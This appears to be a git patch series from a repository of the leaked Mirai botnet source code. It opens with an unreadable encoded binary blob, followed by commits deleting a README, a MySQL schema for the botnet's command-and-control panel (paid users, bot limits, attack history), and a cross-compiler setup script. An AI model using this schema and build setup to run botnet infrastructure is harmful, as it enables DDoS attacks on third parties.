z-amx(G;9p}=>^}RR&O7??zQmq3dtHEs>?Ej4@@}!&!vv6wUn|8-&6EQvbJcfl6?D_ zbRK-7Hm>Y2uNz@zb35>_tgTX+R1y&~W82zZ42U862`HcPUN5#+`&L zN&y5*G>Dh4!3dOwL2O~P!+Y5M;dvj#z<>X`amn>WSqXz%;NxdCS5)uwzh-wpdWiAs zcYh4L;4#;%9hD4`d>(QxZx}+BYs)<`9rI5-$=_<7m{owLYAziL>S3jaDo%5y9 ziq^xUxUNN#)+j1A6(oJ96&>F`m~NEn-)ty8*B^o69I-3qC1Iq3T%ILmXmd=ky;SD( zg#T}hG&LSc04;K*4*tnCM1OM4|HrxYFTLMi_+Ya3`8#}=#tlFP2_S^syrT%~$qx?M2!vPpDi-W_n9x5!XgZd%hW5`J=?{uZHwk=9zlb={ey z)7reZAPG;aUF`Y}Qv4Pztw(Y@`DbnLmvYPFkEo_sF`&BmPtT$Dr{}=@`_%DIam`iHDD;aDgF*c3Uvp; z;~5FdoKhnR(ShD`1a{5q3v3U?j%#5+MT|Gz2RFlN3kskmjt0GynTKGDs}Qqu$--5H zy;q7ve_D-w`y8fdw!Lfkbh+k4vV;AR7`c-OvJZL?+1vOIoLeicM?;OI$j6xD!BJcp z1vJwULn+To@o_zf)z=o?GB^~?*AEdeB#+0!PV5QiMI5HRr@nwP9{JoG(St@H35Ffw z8OYzy3Odgg#{_Yq;lrc%?87;{51%EX;y`?!C>Gai_s+gbG1N}bY8hjsBN%%6;d#ee$ z&A6&Rs{(k|7$SJSVI%8b0@t#uX~u>x`hC_xRhOw8hb8w1Vn!*~*oqy;H+n4;_%lZ) z-NHMSz(i;l^&T0q!``5IXwb`MCWb?B@s&hbo4s;&Z#|Lf>XYcRUj+?R=<3b)b(}dO z=i+J$n8y%&r|40R#0pMB#geZKr9MeUDL#eiIJ|v0v$cGG2Q@t%e2K6)<(iUGzjx`$ z&xjUXavxcO5tn`XV1=5Cw;Gw&Vd*J|1ll(YLaE@CQ_3@S3+>iSZ-GF5WIYGPFxj<# zI2^oHb*_E->hD$NB8wo9&2V99S4L}P>p(Ha{ptcn$VcU5^+u7SID#IKS>5R6zL@A40`v3bh zi2oxr$Wvq@cmJiHZ`2z-o(3?+GV&?)2 z&}2~w>7P;+2T0M?%1G{@NQo)Kbg``*YUe6fefnJzETExNINQ(L*qj;2i-&dgoJ*Z5 z!2^;dQ>xUcn>97n&Aj?wZiOn*Qqp6;YAx;_W43dc+JTLQFZQmy;^$Hm?E%gV)44sbsOR>Lqi#X(f+VqB#AJQQPg|O;@ zVLk4{jSxfjDjH_utssP|-8)gBO{Yr6TTnWZ%kbcEKeMNfleRZIX}z42_ju2*{h#A{ zJ%pVue{;WgKZiU&>cPRse@QEG`J!RUQ+A;vdOGdk_H^6WL-C9GN$~p>{sjM2>Mv=6&XYxG1W;6b9!a1@> z`c;^xps@Ml!hZq(`{9-ZF-YEE@X2HS5s9Asxnh9+-w*dc%HY3b{j4gRe|OAZ;k+wv zaJ;#HK_%eH>Ify>QjwCf)3hg3!s5*LYypoN+mt*lHSo3qA8C9&zmxQlNIPZQb-8bC zz$Ah2_B~5G<#zNQ&Dg|j55qgs!&T35c%H?i=B8XlUV#ZEoouUZ5UqX>w~=0>JkT2M zi>x(wjHUw9azuG+3V$qEN_y4wKR2Yb2h!ifJGz7ud+yX+Wc>{8woh%xJJalh*1=Bc z!Vrx3gv)1bLMp}VA=qgt86yR$gTXiElDCWbL; z4u2Ca9b!Hhj;MD9#|<&bxf@GDj>Q$!3f2Vr1hyk<%?5A-1t6Ikjm$709>|TKn3n!D zsn*8=FFR=PbMWNh+aH~!fgUr7YW)-myhU3yT{D1bm#V8xc1v8#MXwBg+z zM<&_0StcE$^xhc2bndq!rJ&Ou3K#Rbfk_ymd$tI?7!}z9pc;~As$h7eFh_O8aYV#| z8Dd*hE@}_y>OMrhWT-lICw{a&%}#njKe-wGJ-~$hz zAJSMhkXZO6rRFBijymfeiGko@7~+cPEpj{Gtww#*-)`zQ%}6)3!?$w9(OKF^lfTIa zq!(L>A8~&7$pj4MSdCePxHbQ}9&q#helzzQ3P^smf-ycu(P^WFS)%@we${A7A>4Bd0wg`rfY%W+nvXLVxa<$>BIsV;7W)S=ixx+k=R zKc3U1>g-z8?Cx@GjCSjE5KJ<=ZazuGlE5NJLB(YXJ>Wqd82i52ei&sQQFCYbN;p%7 zjAZepoQ{9kYcBb9ACNB`nKzycCvuV{NBge;%Tq^R>#FFLHZa|0Mh~o&8I3-#nc34M z%q7X|$Fs3FGD|YwtWWZ=I@$Jmy1k$vWE%Dr`-plQn8PG~P{{y+{aEk(a*+HOVeH>H zzkW=|5Smb-bW2Y_E}a&_ql=HeJnp|(bo&>=V#{dX6t1=`inPudI>y~xvzrFYvqKUs zIaYWI(4D@4`Bc|NS@TG#&%B;ck+cnxa>cn6IZ8FX!r0Ro zI;HYAxbee&MMb)*ZA0^Q^dgE4u*e*1dQUMDGn}U~)5P>azx?a~n}GR{&*;+Hf6-&S z7J(A0V5zQwOzm~ZaPb)}e6qv-e8Nt2iBZAzS9ax5cCBvKEF+N3SiAMMB1;9X0jk3NH zK(-N|ga?~(ljt8N=RwUCijf=#@UXMO!agroD9D16dR4_X<{v=3>~7hem8BT5P)6Hy zaAUpLFI~07jug2G9{-Zw^9vt568Vrm(ZVDJSXSo`xcw%5(5HPU{k}Dhd}mM1;l}Am z3TM%>OiWh$sU=ZEC%Iu^ zG!ltPx*U?N$iyz+uvoE^X0u$KpJXo;5&lJoBIC|n&O+v$UiEWTF{>?nnbBseJwnI? z`qfr-gh1Xqn1Pq@_EmM_qHJ*yS)^(?1hEwKF3QnF7#G z7)2w@Ue3|6|0hOI;wk4chpO;(YS&>!04D|jWZM7aJ(W+=i-K=-z*k!x%E zB#1PYJVL&YADmihimEyDsMgiBlgc7s-Bh3V>ag@vLlmxdbTe~VMs#HvUTiJ*p*Xzs z_1J#Ap}FVE)?v~=8j#phXzico(JVD%>{-(pp%~%Y%0xXWe@Z*%NPz})2FGkpRU{($ zNOPoBm2pGG66sBos;V+WZu&?{?ghYra9h_WkIUHq6p5*2S}{0)T{BAyLmye%y37v) z7-CVMX zLn&A^BI{qbs)9{3PU964)q~m<{>jY_1(ic^egdl3gIIxuTv$hf7iaExs%6IzO_?-q z3RfuQJv@sLc2zU1RTHUb`xyIMXSPnunjW&^C)IFMm4!kQYeT_xwnXY^FY%*QeNPdT z03lxQ8+?;vpNJJ%&(#%ld=^bqle)#cG8$-3H|9M%`8&9vBl_%K@HPf2coOn9bWA8Cp23V%_EX63P zv2U?sD%tgy<`mf}4$EVS`m~*-2`$zigMm@+1}@h*;3i@iTgHdG5Uc3q$ECsNG;~vK z)5C!@*5~A49TW<8gPh@*A!_ROB-dEuxgdGYC<9mpYF0w@d|iaBo&*6DAd7oQhDap6 z!n+bf9F20B?+KzTcXkNwL6%*LGB1WdYDSbT4SS3_fZ7iUs{w1z#B#EOb^st5JHhsK zju7d5%7~Jg+Q}j1RE9un6I!T$r4}h#C~fBhQvLLe#tEC8tW7+446BXWR1&eqXi?u! zX@^bqC%x`@++u+7`H^4QrRFB4TuSfi)uIUF`B|NZ-}kxP-p<31hmU#lsNYGk4F1~X z@HYK9#ptMBD)!N%aL1P{6`4@^r~PQY*pwK#t*xcviBy_;r9}ty?$CFxEpC@6z$Qx4 zCh403!S33*+q~#d7`>qFDf-G{OicSNOORN9Mz+@dJN;Z}FN%9TYG>li+PT}?jWT+v z?$4cuj|>^b+ihpTQHobE;VZS;1@x3#I(dkk$vHU}Q< zEoz~m``qS{mwhf7tq)e6^Qv*3j5cI@JJThTO7_P_3)hY+ADz9&5TZ7Ys0UZpCjw{e z2?lq924x>tGv&p(2l6S(9V!ZXb&{T0vJ-_~L^`ubyyT^bLGULkiY=g}7AVmS4;588 zn%UV7mXtEIO;KMf$gmc5d!~ZgCU!LhJ`BON4~mm_a$u*Ny~S=RppwyeAr5#>ubJw@ za^q1Ky=4H?DFb^W4z_e6n44}|B3%|t`H5Nl8s{8n{KgA%d%;6?5nw7L@)SZhW{Es@ z%Ts@peC@@z7=soht|0LK#ftqh)k~PRQU~dDVqL-`(!1*|kYC&;O)ZFQI@s?MDSkFM z*ZS8x6v#x#Mwq(nqh-dv>hq9@wr;cXW8z(&6{m+T-wOQfa&h$Z@-D*o_;@$*BT&|0 zzm}S_9}VHj0U6I#el4RCN}|$%lWlcC!3VsE0}hFd_Mrcmmix&P!;2D*mT7n6BSz@+ z+Sn9ZYKKv@wk|^NmHh&Bdr9~i+~EHeI6M$F`}q*;zLE7ysRyv+c~=oy!01yAab$A! z%fZL3U_0Xx>jWKpG*Zv}<)~3&b)2)5^%ejVC?t0o+@QErrw3@hw`6(r(aDEBz){M` zX2tc|=6N}%@6rZ4_7!}v3E-PxHl4}K+uj^gqjM+X#2wDz7Z z^~XkgDi{$lD)Rz{rjt< zjKlk#kI1)yu0=y(!HHA?(QbStu5|I|b+3s7CFML)?%3*Ty;sP9p8IE@6*0IkqmX0Z zvsg)4A!S@lI@4Jq+O!~Y`=KSaPOPmM3*GK#HyfPXyxg3#lZVN=Bc$S$KBOWvD)OQg zgfH}|tb3|Tpd@O@eRf?^-Z!i_ZmU==3-oPqTG`ik$V0W^#9h`jtj-CYIT7)UojV<+ zc8NGhS2;#ya3eWC4p)oHi(#oxPu>B{xKcYDauV09swaYX1IiaZz#yURs= zh5~p+pZ8_mxuHB6`Ys?zhc%ntDILl2>k;$wug?&{Z&7{((?ILbxWe5IMY*5ou=h^Y$alHgfH-ax0;84TFnuT&0k!9SY^RK3;y4&rje_qjR~Fe zU!-aEpBD3PZjLLfEy+(#FUm{N%-A{Eu7uYk#Qf{}^Ha zVeFmhO>CU#44rKMIc+}0x%#`G7^^ZTt)hs+_uS){>{u$csi7IOR4B?fX0cZ|0#i)M z!IUln4ZO1(0-Uip-4qj&t4S~ra7a@;v#BZ}I4|Uou***%(Od!1{d{MzAW9dNKXcLb zAjTwlI_PK7=zE-*}R+5*CyxCbt;XV77&O%A}Qr9dov|}E)_0}t$2YLsw zb)q!v)eplcDzJ0ZQ! zTdEm*n@X~AwW=*{oG}_FkhtB_;jQ4~Qs8Ss`1Lt4N8h|tk-6E#Ieba$5_Dp;wnJnU z7cDQXkLTtvHZ=-6#xWexozH8#Hg#9dE0{a)VDmNdqiR=a_n4hcm%HI?HrBQ?-jKc^ z*6rkEgjk1^<- z>8~EkbC-{32G~)4jlk+;jOE5g+-UfN7!%EJxcZ9DU`k7evL;rh@zDal?|E`Z`A75) z;`cu54cQQ92su;uQrJg2MluDtHiOfO#QcW@#I$>~%-o!g!@ zhvv8}2<-jg1*PsSZls&BnPaqSQfqJwb87raOng>rM;wP_mDw9ukSUKhHa4A^fz$Ad zn>h+uw8|g@ld1YLMpVquYO`5}iD`rgb7C*qP)m(4Eu*zj^zC~^=IdS6etA&4Wr<(l zeF*%#x1_cU0((R+)`%JG%syvdercyy?)@8>pD+6+rf%ZqKnk5V-x$2x4?tho;6wNs z``?-3A0Xn9KBj*8LwMf)`Kt?*{{h8+fXLRt+2;R-q7+qm3mjF9@0q-uSZiT@X^Nt1 z)6xuCCyFdf*hFEtMUq%-i76`Y(}M8JL4`5UvN+Mk~PPh)2p7v% z_M6W&`g&XF2ucJo+uuy=sqTXZYyAZBCkkQnuBPDeLGyb zryXjj?bXZ0%BSFd+29L)S5|KSB7N@wrX@>@c2SE?6eoSDxRkKuL1RK5fA1vmxWM8k zt34&>F09`)>ypzvtf*2KZsx(%(;u=zWq6)f8U&k1S04v%lJJK#wq@pXAJq^}tnmlHWOM&h2W!o;fS(vKryLMcgh1Lrm zuMfxtUj^1X2NiqCyX&B(lw?VEs)D*)oyLQ(9x>#H$C~8KHX9|`#cO|X;GU@EZ{j`y zK%HDcNq*^Zf1Jb>f4p=^^^vWmOxj%k6>_R^&1iU<;`W<{hwUx3OVzrydQg24_B6TE zI0n?cG4-wCFK@nD-|iTAOAU#bWr<1&U6uUs2+KK?G~ESq7E6^i6ZUhOcgH*0LK&5L zE&93foafply%jipTR!nC<0Pe=@(mhZ_c~+E$genb5*s{vN}0+90J9-^Z*zO6{J0_| z5!`%50a#gI1@7_>40GndD?g@we1 z3A~6sn~?ixEx&ihYVL7!RZ%-y+qXY-nTNfC)HIX``nG>m@q=PUDWdQ5K_bc!mOv=??6w%Xh%vJ*m zIRM(c5m~DJ->|7X631`gy4$C}YQJz5S|F==D&cG9->G!I`ab=6$l;Z*`%S5PC?B1d zb5IQ1MCq}I;S~xEzxLBfjnU@QiqPKc;!qxE1n`}M^xIkFLI1GI9Aqg*fC#{Tw-npk z{H(11!&3Y~NyY?25YsbehIOjIPZF2|Z+O`(5v3$GXrS@A!n+c%E@&<3l@9Cm3OyaT zPLV-O$f`9qdw7r**;7lsCXwHE*hO zBU&q*0v|Kjm}sx)M$arXMPdMwzCSZQN_2l?|5StJr2)niEWJ=->@v!?K|}hlU#?*c2#LL5xEP`YEDl&Kc<5ebFpYZyW&+7RSMp6@yiPd?v78-aP&9J`=}p@)r0c( zp-SK#DAE~HF#LPyGEHN#5qT}u&71UxrqYhAL}bs;;P&tjjXx6&&;{zE__tt3VJr<@ zNV;F90FGv#Cz;7R9+4amglA03&!%60Ip|R-#$KDwI4LjWC>H;WdzFZj1$(jFg%~iJ zVc9H$E7S#0>(%>rB)4TgtM*3n{jqD*C3gkM_xfonJ zcbLpaoFxe`?uC!-U1D!?{JP?PY7z5=f~>f-kX-rgip$Pv{>K$pX;4a09_I!Ob{tQt zlr|ClA?hEvT!V%F1gUaiC3y{G(M9+?sh3W2bsRv8z)kPg1rJ|#?Y|)d?Y7np3|`C0 zdO?I)PWC1Yt&~x2j_ZV4IC`z=B)M*G$JuL+ZApxH=RB1Pl7X}Dn{5PE8`TKmpithNy^J;rO|nI3+cfF2Q@F9su> zzVJ2(d$?f-t}u3>X7uY9S0Nmtk}I>FsU{zJXm-Ra!Q_t=NB9EVx(!WKB&3BS8&dEj zU$4}nj1;!wInM-^5%$!mq6LN{vzU;H28xZs!#w<^Z%H5cZ_2{UHN=6YrkzI&v$8jG zh{5}(+r^ePnPbVP?PD2pf?JU_cKGX3&dnX);^0+b2jy^(a0D37YxGywe^}3N?3U~R zwe^9sE7&OX%>`A0^FhjU6qkh+&>MWF>|O#ny>gUEbswCJ(nQ^z7O-R4)QGKlH8=6C z7cPi3<+gGJ9I#mzs#)4L;Tv11KqRc7(J6-0I;0TEtQxt%q#!I9zhnPARG`g_0&5_y zw!L_PSWFmKVZTJbslryBd@z=Zk>+`$642h?`Q#G}w^VFV*W06BLXf&4J2Gc;AR!XNV?L7dUABzo$ zfpzr2I`5hwWyU(ue!1Y3JPQq(l5MA!%1MMN3-bI$5{opyV#lZbp$o0D1-b7E7VAR~ zN@JJ--p%b|2#p)NW#nxiYpF^Xb7CnHPiwrf3b!+tV5_Uyoz4oor@cF+!xxwHsJ~{@2N7=hMMyRc{L}u`)W-gg*`zFE zfuVwSeatb>t}pmRoeX=MJ#id<87Dy)g^QLXJ^W!;f%|;Z1C5~Uj7-%^jiXUIPM;|| zT66`f`CZa$cS!>>hJR&@xzgTAhqQ%mCZ)KS>X4PTk!czVA z)0P>^vFo|Fb-JZ3>eR<_E{j%6nu-W4&5ov`aNAZ)j&VKBb+vu-LyT{OimIUz;O21u z7h)PVyfe&F8pUkJ#*M}=k#L1o`H}4D_=J@^fR_nLCuCN;&!)A4>URC7->cY^y~&3S zW()q>IlRWh8}zjub&$PMbc@Cth~mK?e4JFY`|N2Y>SsV`$MPyIOs#zf@IpC9$) zE>)A~CKty$7?rM5+Cq8G2One@U&LOKiS?fu+v;%*$7`R1oOZ)GSRMOFHU!;q4Zg># z%!3y*GOmRhiCrg{v*x!<%VQ!O5xEx}qhb%Dwl}oK9qi_n7|XI{u~uR!kOIChTX)-k zE)O%nR}`K2zyx!=bkqC64RoxR>-o(Qe@tj!sDo2r<(sV?n@i4#VnenqfT!#-xAw_s zBp)|o4!rP2b0m;4o$&qDIq&uu1A|>-bl-Q>OpeHrvGO8Qr{dOCRq3VR3px$-*gh}a z!6YtvF;*R>hKP&z7Y{O90*YJ3UkvfK4Z^4n3QLPdm=tCk3!@_*94jG*opLVnqdTXy za$U`E4ZAm2CKbi4X&|5K?dbq+qIb&4U!Y^AenB7lMq(q4n zgRHK`r-IXo+~ItqZ9Y-|U=F8Q#j06_4hSBwk58B5uQI*yJ6*8ZX=Xe^~B|WP=Mx3u^p*uu*?S?o)M&I~;y0AeB zX?ky_`mSNv?M`)#Zk@pfGGD0v!%o$Oll@QAMcDuDR3$0&@D%HO0s`gjREyyyE3o9V zKMmzPE-y`pL$u7NlbL|ai?+CYF!;VA!12+;J@okFrFwC?AyiWY@Wi6%dEOMc?2tAfgi{1cbytuPsd~gmG-RxG00xF2Q%|-DK?) zg)nW`wXm`phag)Y=(&gfq}ukBSpCzpIgWzkR_3tIZk_Q59<^X2@oX@KmgUzc=F<2G zD{sbe15ND}vYC#=SCrx+QZ^#|v!E;(1wI*kMIGZUw)x6VGYLzwsb{GTWhw1m{SdjB z4gv6_nVuMDu{yQj%2ynjdd*?>6G^fsQ+D?74mmf2vB$&%_8m1VZoQ(9?H(4r2mR%Q z(mWeOVAd2$AO4y6SIGU^ox?apQI=CHtIQb1$$PLn;DZk>NlA}iXhen7@rGwJdt?59 zyP=(@oMK{>rEGXRM-@3yky=?0CW?uNE$_6z|AD|A_dMLg>G@~cPY6Z)ebMYEqT3+_ zb1GK}me^($6KM2y-${b)0JMXWTw$8A~`)js8mcXM#_X2Gd zVqi+epA`!8nR;5UpTOWSEPa^ApstVri77-MVo|**mypS@3c}e|Xs{KVG|3*KXnV9c zRg7I6L4gB%4flvTQf&}doT*G1EWOr$Sj35Hdrh>)P*)42g)w9;f@aiB{{r_$nnd-K zBqC(=!33vIhytTO0xFsl-bspV79HkOSw}l*5z9PzIh+Hr*K+S?#AW6BN%HE)ZLoa? z>4IA4<}p$_Lt;EFrPoST5!h&@*A_H5n^WScj0<;FvXnOp6sIbM#NBTSUC_?umM59T z!;S5VIcA@|<736OT*Ko{u*P}TdxX*viEAlE@xvcfBI6<;XcD&bSl_gp#+5DW_*hUH zl%zoNk!N%+?^r0GAvNH}lBTJEkYLGnxT9!^K=E1ff!3)o*5dq4DEr+i5AzW;~hwKrk?Q}TXLk~dK_ z#^m<`TN>LrmUrV( zNwSSR0v9Z{;&869!yV`mZ=C_Q(2|Pj$9i--MG&=_Yqy+ zEWf#&Nq&bmu1dlAP)tM-+GU_<7>X8%YSYE#4Ts47U8tMzOGj}6y4a^3$yYwu`RZw4 zfnpZsIy+CBRgbJx5C`G#siZgwKfb;nJ^T_UmFF9QMMFP6O=0n}MnCi2)RlcwVA2B? zBP?(2{qARSBSOz(jC74UJ&Mc2r~PP+YE!fKnJC3Q@>=_rh{__+k+ zS?h>A-bqVg6yh&E5b|8swLa_JW?Q3UtF#;O8lhy!_X=w4n_FpIUFc6e({UlCak-i5 zMU5LHE4@fH?tWuCRD|}u(ft~Zbi^!Go29^=xoVPsPc&k~Wg;)MKSIa&9gtElf?Av? zv@b&c4V>9ppuR#Fh9HfsVwsW!iBb|fsJ@}iC1|p6IURLnlT}RBBTsvrNlJ9C4THBQ z^rg9#Qm+K)n|`_NbIO`0bvW^MiS$H5NeVnxEku2tbd7~yhfCkbU>Sa4(q?~|*=?8^ z0BC%2!s%tE)3cJE*%{6-A?_N#UV}YB_c{tTs84^y(Eo^sD`$@cqf1g+S8%dU+FTl2 z-cq$e?6Kxr;dHpCEYWEHhA>b%;u!}Utj!{e%R{eb=XtiLk|>1((A7au_G?+ilq!Q( z^Zdc%TGKl(y^xlQ25IYP>uQ-i-&XrD`7r=yXzbfu0*o7Dby}Q9XWcjy(bh{=uKad$ zfKyPh<=tOESbD>c@RF}zWp#Rv%mf*ma$nV4cbv-1j6YtFId?P98p|KeEJ4+fE8w-Z zEF-EsR?{ho-tum)jlfuFdCTJpm8Y&_jj@d$Mjg$EpCc8(5%1fDtQ@z^6@`eAi^pck zjL%%+1quSJ(xT9I)im3Uwnu8YZxgm!y1!RS!%4QM^*zyXJb^cYm( zgUFN^%%pNb5!A}@PYR}odD`dZ*D+UA4gka|xZ|7riVr2k_y#cC=kUs*B-TY<5)yvE zaOv37&1&b|)bbMO3^3Ru^P>NVW=h**b0s|*vGcX}RN_!zX-N|U`_m@BN}(wa>@9T)#td9OqB z>c6Vg(o+Z6A&|rufq2ROuD)dR|J0X0=s=3pm>rE16BDvAnbIVFAH%pqo|K9>;Y|hP zNIGIoRWo^Imp&IFaw-eL*_9ioW%gDx9@QdQ^wl_Q4yd#!d4#}!Iz%~`shSbtN~bJQ zT;Rj-fJmu4d@eo|^o+C|#(8IpZ`FCn8O(JO?rf&76hu{h(l*ee)BYBie8u##4l|s{ zS8@t!@pU`Bu-M32S^4)*L57*Y3)ih{vhhW~%p04}^|f=BgpPFI*^q|i@U=B@E+ym zOho7H5p(L6_~a{3FV{8>Ii1=2JqwOoJ~jQiLxg%gl--X*6@6sDl~?c(pw?qwPo}OF z%Vej;%+$y6-twXMh0{>CR@2w58sg$c#MLErXKNRon?+T013b91SS^MclPW#`+BIP< z*vZ9mx>~}~E?SoG03kO;9@6@%%QDjZvC~JT{#y)JW^zR*4w9EY-twIcC)QBaV(N*Q zS2mx;3o~m`s5?wzH}Oo6L3!wQ(N``Y%w$73fS z^9OkTteSPLdJf-lnx|FPvY$oPQg@oGTRrLY9lv3|V@e(>F1$H8uLc(T0-Nq?-%?~! zmVev0ZD#d~;K`Hx3Z@FYkh)!Hd@LqpU}2Fle~X2}}^U$I*fY{Uug3qq@eQ5f-$Rg ztfCW1DLLm_XTnl%7`}#%hskuv`naulZ5d<+)L~q#VTzCDU&-1$wN<&FqEuIT3UNLhP zwHSLRcppb&m_%b}2FO6CniamJje@#CnacLBCPIx`M{JX$_g?^vsP^W`$cb*5&qwM3 zO=35bZVERZGH-E=%MQ=-9%>sj8>9l>1zGFGbT2=9?1AoI*H~8K)%sM0B2oL9W7K^A zr8(Z2OzNgK{7$f^K;)c7Ao7Pcom1dlaDgXMjh-k|X^ie&E>CwX zyim_|om1;qx!mpN>XAI28V^tv=I`TPa>*TXqz58l?q{4LpFouoL=*I)5Wc;JE_wP) zO@m!*l$kS2p1^G=v6;{eh)7rX)rc0B$4tuGihiMYErP6%%NM_=<6ABw$Ti&pq_QBF z;O327$d@d9T^hv83izkwiRZN4U(rI@OxG&o{f; zIABZOfr+svA1gTGh0B`}_I0zmxG0~$|3VV?H2El~Z$i9*X=lHFel{cIGJsw1fePyKQrQKP>WNL9~ zQt9mZG+_6I$~Q&j=*r!CsW)Wb`co1rHUO@{`+y&zqG#vp>!r$>?uWF5iCwXDdD_Y6 z1G&9JnPY(9725t0snbrW0m>i7E|;|hJ#GX;f(%YjafjA~OFVVll6%wPMo#sM@i+Qy zIqk=!^OifUAqMT{==DNGvly?X9zYYq{L>u|I1q`-?FS8N`&KaX_l*y*KW}{aFH4iV zu>1Et+=boJ{`dNbpSM3ifVa0l{1*66cR&0DLYji0(!KqE1^#^#1O$A06T~0D_xzF-}m5d0BEw`j{NRp0uhx#qTIS5{2|JHSAe@w zUXlMc%AMw@pFwUt0{#%>ep~h3AXYDa8|3dMYsjy-ZL@Pw=2>4c=@c)2+l}p_P+X~+Y{}fOCJMym*io4`0 z@%!Yz1Qq`d{Ofu1UGUPY`(VqzPM`lB`PZ|zyJRNW-;n=0iTiitU#s+Y$$AR+$$!=C z{~h?(3gTTbA>cmvuX^IY1OHl~xC_QszYqSaUh(h1zrG^f1@CCx2mgFw`X@3hWGis% Qbb$vI2yum3)VuxmKNo;zMF0Q* From 16767483d94a4e0efbfd5804de2ffb75a235d0c2 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:31:34 +0800 Subject: [PATCH 13/26] Delete README.md --- README.md | 23 ----------------------- 1 file changed, 23 deletions(-) delete mode 100755 README.md diff --git a/README.md b/README.md deleted file mode 100755 index 468cd0c..0000000 --- a/README.md +++ /dev/null @@ -1,23 +0,0 @@ -# Mirai Botnet Client, Echo Loader and CNC source code - -This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). - ---- - -I found - -mirai.src.zip from [VT](https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/) - -loader.src.zip from [VT](https://www.virustotal.com/en/file/fffad2fbd1fa187a748f6d2009b942d4935878d2c062895cde53e71d125b735e/analysis/) - -dlr.src.zip from [VT](https://www.virustotal.com/en/file/519d4e3f9bc80893838f94fd0365d587469f9468b4fa2ff0fb0c8f7e8fb99429/analysis/) - -Maybe they are original files. - - - -Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86d0iL9g) - -Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) - -Felicitychou From 81fec706a8beee6c4aaa5940567ea120bf044449 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:32:39 +0800 Subject: [PATCH 14/26] Delete Configuring_CNC_Database.txt --- Configuring_CNC_Database.txt | 36 ------------------------------------ 1 file changed, 36 deletions(-) delete mode 100644 Configuring_CNC_Database.txt diff --git a/Configuring_CNC_Database.txt b/Configuring_CNC_Database.txt deleted file mode 100644 index 3aedc33..0000000 --- a/Configuring_CNC_Database.txt +++ /dev/null @@ -1,36 +0,0 @@ -CREATE DATABASE mirai; - -CREATE TABLE `history` ( - `id` int(10) unsigned NOT NULL AUTO_INCREMENT, - `user_id` int(10) unsigned NOT NULL, - `time_sent` int(10) unsigned NOT NULL, - `duration` int(10) unsigned NOT NULL, - `command` text NOT NULL, - `max_bots` int(11) DEFAULT '-1', - PRIMARY KEY (`id`), - KEY `user_id` (`user_id`) -); - -CREATE TABLE `users` ( - `id` int(10) unsigned NOT NULL AUTO_INCREMENT, - `username` varchar(32) NOT NULL, - `password` varchar(32) NOT NULL, - `duration_limit` int(10) unsigned DEFAULT NULL, - `cooldown` int(10) unsigned NOT NULL, - `wrc` int(10) unsigned DEFAULT NULL, - `last_paid` int(10) unsigned NOT NULL, - `max_bots` int(11) DEFAULT '-1', - `admin` int(10) unsigned DEFAULT '0', - `intvl` int(10) unsigned DEFAULT '30', - `api_key` text, - PRIMARY KEY (`id`), - KEY `username` (`username`) -); - -CREATE TABLE `whitelist` ( - `id` int(10) unsigned NOT NULL AUTO_INCREMENT, - `prefix` varchar(16) DEFAULT NULL, - `netmask` tinyint(3) unsigned DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `prefix` (`prefix`) -); \ No newline at end of file From 9eed394a3441ae300cb79de5966e85eea6bbf138 Mon Sep 17 00:00:00 2001 From: fen Date: Wed, 12 Oct 2016 14:32:51 +0800 Subject: [PATCH 15/26] Delete Setting_Up_Cross_Compilers.sh --- Setting_Up_Cross_Compilers.sh | 62 ----------------------------------- 1 file changed, 62 deletions(-) delete mode 100644 Setting_Up_Cross_Compilers.sh diff --git a/Setting_Up_Cross_Compilers.sh b/Setting_Up_Cross_Compilers.sh deleted file mode 100644 index 5ee2e6b..0000000 --- a/Setting_Up_Cross_Compilers.sh +++ /dev/null @@ -1,62 +0,0 @@ -# RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc - -# You're gay if you don't use Debian -apt-get install gcc golang electric-fence - -mkdir /etc/xcompile -cd /etc/xcompile - -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 - -tar -jxf cross-compiler-armv4l.tar.bz2 -tar -jxf cross-compiler-i586.tar.bz2 -tar -jxf cross-compiler-m68k.tar.bz2 -tar -jxf cross-compiler-mips.tar.bz2 -tar -jxf cross-compiler-mipsel.tar.bz2 -tar -jxf cross-compiler-powerpc.tar.bz2 -tar -jxf cross-compiler-sh4.tar.bz2 -tar -jxf cross-compiler-sparc.tar.bz2 - -rm *.tar.bz2 -mv cross-compiler-armv4l armv4l -mv cross-compiler-i586 i586 -mv cross-compiler-m68k m68k -mv cross-compiler-mips mips -mv cross-compiler-mipsel mipsel -mv cross-compiler-powerpc powerpc -mv cross-compiler-sh4 sh4 -mv cross-compiler-sparc sparc - --- END -- - - - - - - -# PUT THESE COMMANDS IN THE FILE ~/.bashrc - -# Cross compiler toolchains -export PATH=$PATH:/etc/xcompile/armv4l/bin -export PATH=$PATH:/etc/xcompile/armv6l/bin -export PATH=$PATH:/etc/xcompile/i586/bin -export PATH=$PATH:/etc/xcompile/m68k/bin -export PATH=$PATH:/etc/xcompile/mips/bin -export PATH=$PATH:/etc/xcompile/mipsel/bin -export PATH=$PATH:/etc/xcompile/powerpc/bin -export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin -export PATH=$PATH:/etc/xcompile/sh4/bin -export PATH=$PATH:/etc/xcompile/sparc/bin - 